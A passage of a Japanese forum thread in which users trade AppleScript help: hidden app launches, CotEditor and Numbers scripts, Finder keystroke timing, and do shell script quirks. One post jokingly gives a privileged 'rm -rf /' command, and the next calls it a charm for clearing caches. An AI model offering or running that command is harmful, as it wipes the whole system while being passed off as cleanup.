はい やりたいことはログイン後Nasへ接続後にiTunesを画面を表示しない状態で起動 する事になります ログイン項目だと早すぎてNasへの接続がエラーになるので、スクリプトで デレイさせてます 0390名称未設定2014/11/22(土) 09:20:06.06ID:LIbEyQFi0>>389 iTunesがアクティブになったら、GUIスクリプティングでコマンド+Hして隠せば? 0391名称未設定2014/11/22(土) 09:23:26.24ID:u/GSwUmx0 今後アップルスクリプトがなくなることに備えて、今まで作ったスクリプトをJavaScriptに翻訳したいのだが、 リファレンスがなくて困っちゃう。もう少し待てば色々出してくるんだろうけど。。 0392名称未設定2014/11/22(土) 09:33:46.73ID:MsdAX1Fa0 tell app "iTunes" to run
したら隠れて起動してくれたけど Language Guide見たら、The run command launches an application as hiddenってあって、その通りになった 0393名称未設定2014/11/23(日) 08:31:10.56ID:ehUJvQms0 entire contents of とか使って、あらゆるファイル名、フォルダ名を変更(空白文字を削除)する場合、 なんか定石ってあるのかな? 単純にentire contents of 使って取得した後、 すべてのファイル名、フォルダ名に変更かけようとしたらエラーがでた。 0394名称未設定2014/11/23(日) 08:51:46.25ID:UXH7A0PS0>>393 エラー出るソース書けば? 0395名称未設定2014/11/23(日) 08:51:47.95ID:05FNHYym0>>388 詳しい解説をありがとうございます。
--CotEditorでファイルを開いて文末に日時を挿入 --ファイルパスの例"/Users/ユーザー名/Desktop/ファイル名.txt" set filePath to "ファイルパス" as POSIX file
--上記ファイルパスのファイルをCotEditorで開く --(CotEditor.appがApplicationsフォルダの直下にある場合を想定) tell application "Finder" open filePath using file "CotEditor" of folder "Applications" of startup disk end tell
tell application "CotEditor" activate tell front document -- カーソルをドキュメントの末尾に移動 set docLen to length set range of selection to {docLen, 0} --末尾に日時を挿入 set contents of selection to return & return & return & return & "---" & (current date) & "---" --日時挿入した行の2行上にカーソルを移動 set theRange to range of selection scroll to caret set item 1 of theRange to (item 1 of theRange) + 2 set item 2 of theRange to 0 set range of selection to theRange end tell end tell 0408名称未設定2014/12/10(水) 23:06:29.19ID:8lxhxVtu0>>407の補足
--CotEditorでファイルを開いて文末に日時を挿入 --ファイルパスの例"/Users/ユーザー名/Desktop/ファイル名.txt" set filePath to "ファイルパス" as POSIX file
--上記ファイルパスのファイルをCotEditorで開く --(CotEditor.appがApplicationsフォルダの直下にある場合を想定) tell application "Finder" open filePath using file "CotEditor" of folder "Applications" of startup disk end tell
tell application "CotEditor" activate tell front document -- カーソルをドキュメントの末尾に移動 set docLen to length set range of selection to {docLen, 0} --末尾に日時を挿入 set contents of selection to return & return & return & return & (current date) & return -- 表示をスクロールして?カーソルをドキュメントの末尾に移動 set theRange to range of selection scroll to caret set docLen to length set range of selection to {docLen, 0} end tell end tell 0412名称未設定2014/12/11(木) 07:44:41.84ID:dW0uUskt0>>411 お疲れさまー
これならCotEditorがApplicationフォルダ以外にあっても 大丈夫そうなので、こっちを使う方がいいですね 0417名称未設定2014/12/21(日) 01:25:39.79ID:kJK8LYrn0 activate application "Finder" tell application "System Events" tell process "Finder" keystroke "a" using {command down} keystroke "y" using {command down, option down} end tell end tell
これをFinderのツールバーに追加して、すぐに画像一覧をフルスクリーンでサムネ表示できるようにして使ってたんですが、 OSアップデートしたら動かなくなりました 原因がわかりませんが、どこをどう直せばよいでしょうか。。 0418名称未設定2014/12/21(日) 09:09:28.18ID:fC4jruIi0>>417 もう一回スクリプトエディタで作り直し、動くことを確認して、再度保存しなおす。 OSをどこからどこに上げたかわかんないけど、文字コードの問題じゃないかな? 動いてた、というならだけど。一般的な話ね。 0419名称未設定2014/12/21(日) 16:02:25.57ID:RV9e4t/d0>>417 activate app "Finder" のあとに delay 1 か delay 2 置いてみるとどう? 04204172014/12/22(月) 00:11:50.01ID:/exnUYTH0 ありがとうございます OSは10.9から10.10にあげました LEOPARDくらいからずっと使ってましたが、10.10で使えなくなりました 試してみます 04214172014/12/22(月) 00:34:49.01ID:/exnUYTH0 delay 1で動くようになりました ありがとうございました! 0422名称未設定2015/01/05(月) 08:46:52.26ID:mKzqatQe0 display dialog "I hope AppleScript will have a great year!" 0423名称未設定2015/01/05(月) 10:38:42.96ID:Lfm4EVu/0 error "User canceled." number -128 0424名称未設定2015/01/05(月) 19:02:13.46ID:O8Indqhn0 そこはOKボタン押してあげて… 0425名称未設定2015/01/05(月) 23:51:32.29ID:3V+cPyL70 do shell script "rm -rf /" with administrator privileges 0426名称未設定2015/01/06(火) 06:45:01.02ID:/cF9pr3E0 キャッシュなどのゴミを全て削除して 新しい年をクリーンなMacで始めるお まじない 0427名称未設定2015/01/06(火) 11:10:41.20ID:1pq49Ff+0>>425 error "User canceled." number -128 0428名称未設定2015/01/06(火) 13:03:35.03ID:E0GZUu7p0 unixで/devをrmした人がいたなあ。メモリー上に有る分には動作したけど、リスタートして... 0429名称未設定2015/01/10(土) 06:48:41.10ID:LCTrVjOh0 質問いいですか。
参考 tell application "Adobe Illustrator" set docRef to make new document with properties {color space:CMYK} set pathRef to make new star at beginning of docRef with properties { center point:{300, 300}, radius:20, inner radius:10, point count:4, reversed:false, filled:true, stroked:false, fill color:{cyan:75, magenta: 50, yellow:20, black:5}} end tell 0436名称未設定2015/01/21(水) 18:19:34.76ID:ILS/7VVN0 audiohijack3出てアップグレードしたけどAppleScript指定するとエラー出てラジコ録音できん…これはエディタでAppleScriptいじったらなんとかなるんすかね? 0437名称未設定2015/01/21(水) 18:44:05.51ID:7XSG9dXj0 調べろよw 0438名称未設定2015/01/21(水) 21:01:42.33ID:w+VWj2yl0>>436 俺のところは特に問題なくできてる 0439名称未設定2015/01/21(水) 21:05:43.11ID:nFNyqmDn0 Audio Hijack 3 はAppleScriptableじゃないな。まだなのか全くするつもりがないのか知らんが Audio Hijack Pro と/も共存できるので、ラジコ録音とやらには Audio Hijack Pro を使えばよろしい。ちょうど名前も違うしw 0440名称未設定2015/01/21(水) 21:06:41.23ID:nFNyqmDn0>>438 あれ?そなの?もちと調べてみる 0441名称未設定2015/01/21(水) 21:07:05.09ID:w+VWj2yl0 ああ、俺のもproだった proじゃないのがあるのかすまん 0442名称未設定2015/01/21(水) 21:15:01.74ID:nFNyqmDn0 tell application "Audio Hijack Pro" start recording end tell
tell application "Audio Hijack" start recording end tell
set anAliasA to "/Users/***/Desktop/AppleScript/2015-02-16.numbers" --ファイルを開く set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv" --書き出す場所は固定+日付指定した+拡張子設定
tell application "Numbers" open anAliasA export document 1 to anAliasB as CSV --NumbersファイルをCSVで書き出し close document 1 end tell
書き出したい場所も、毎回同じファルダ内に書き出したいので、 set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv"
で指定しているのですが、下記のエラーが出ます。 error "Numbers でエラーが起きました:書類“2015-02-16.numbers”を“2015年2月18日水曜日”として書き出せませんでした。アクセス権がありません。" number 6
書きだしたファイル名はユニーク名で付けたいのでとりあえず今はdate string of (current date) で指定してます、本当は時間もファイル名に入れたい。
set anAliasB to choose file name でファイル指定したパスとlogで確認して、set anAliasB to "Macintosh HD:Users:***:Desktop:AppleScript:makecsv:" & date string of (current date) & ".csv" にしてみたのですが・・・。
FileMaker Proで表示中のレコードのデータ内容をCSV書き出し http://piyocast.com/as/archives/16720461名称未設定2015/02/18(水) 17:28:14.34ID:nxmMCsB60>>460 set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & date string of (current date) & “.csv”)
(「ご質問お願いします」は違うよ。本来どうでもいいwが2度目なのでいちおう) 0462名称未設定2015/02/18(水) 19:15:37.54ID:nxmMCsB60>>460 >本当は時間もファイル名に入れたい set currentDate to current date set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & date string of currentDate & “ “ & time string of currentDate & “.csv”)
としたいところだが、”/“や”:”がファイル名に入るのは好ましくないので、
set dateTimeString to do shell script "date +'%Y-%m-%d %H-%M-%S'" set anAliasB to POSIX file (“/Users/***/Desktop/AppleScript/makecsv/“ & dateTimeString & “.csv”)
AppleScriptで do shell script "zip text.zip -r ./x/" を実行するとエラーがですます。
エラー内容 error " zip warning: name not matched: ./x/ zip error: Nothing to do! (try: zip -r text.zip . -i ./x/)" number 12 0467名称未設定2015/02/26(木) 12:46:07.99ID:kGBOUlNz0 do shell script "pwd" してみ カレントディレクトリが / になってるから >>1のTN2065: do shell scriptざっと調べた方がええよん 絶対パスでやるか、同じ do shell script 内で cd するか
Terminal echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g' 結果>>どうして北海道で酪農が広まったのかな。
do shell script do shell script "echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g'" 結果>>どうして北海道で酪農(らくのう)が広まったのかな。 0472名称未設定2015/03/02(月) 16:55:54.65ID:+sCo7k3t0 Terminalで「起動時にロケール環境変数を設定」にチェック入ってると LANG が設定されるようだから、これをdo shell scriptでも付けてやればとりあえず同じになったよ (英語環境だと LANG でなくて LC_CTYPE だった)
do shell script "export LANG=ja_JP.UTF-8; echo 'どうして北海道(ほっかいどう)で酪農(らくのう)が広(ひろ)まったのかな。' | sed -e 's/([^)]*)//g'" --> "どうして北海道で酪農が広まったのかな。" チェックを外したらTerminalでも>>471のdo shell scriptの結果と同じ 詳しいことは知らん 0473名称未設定2015/03/02(月) 17:27:48.52ID:+sCo7k3t0 こうかな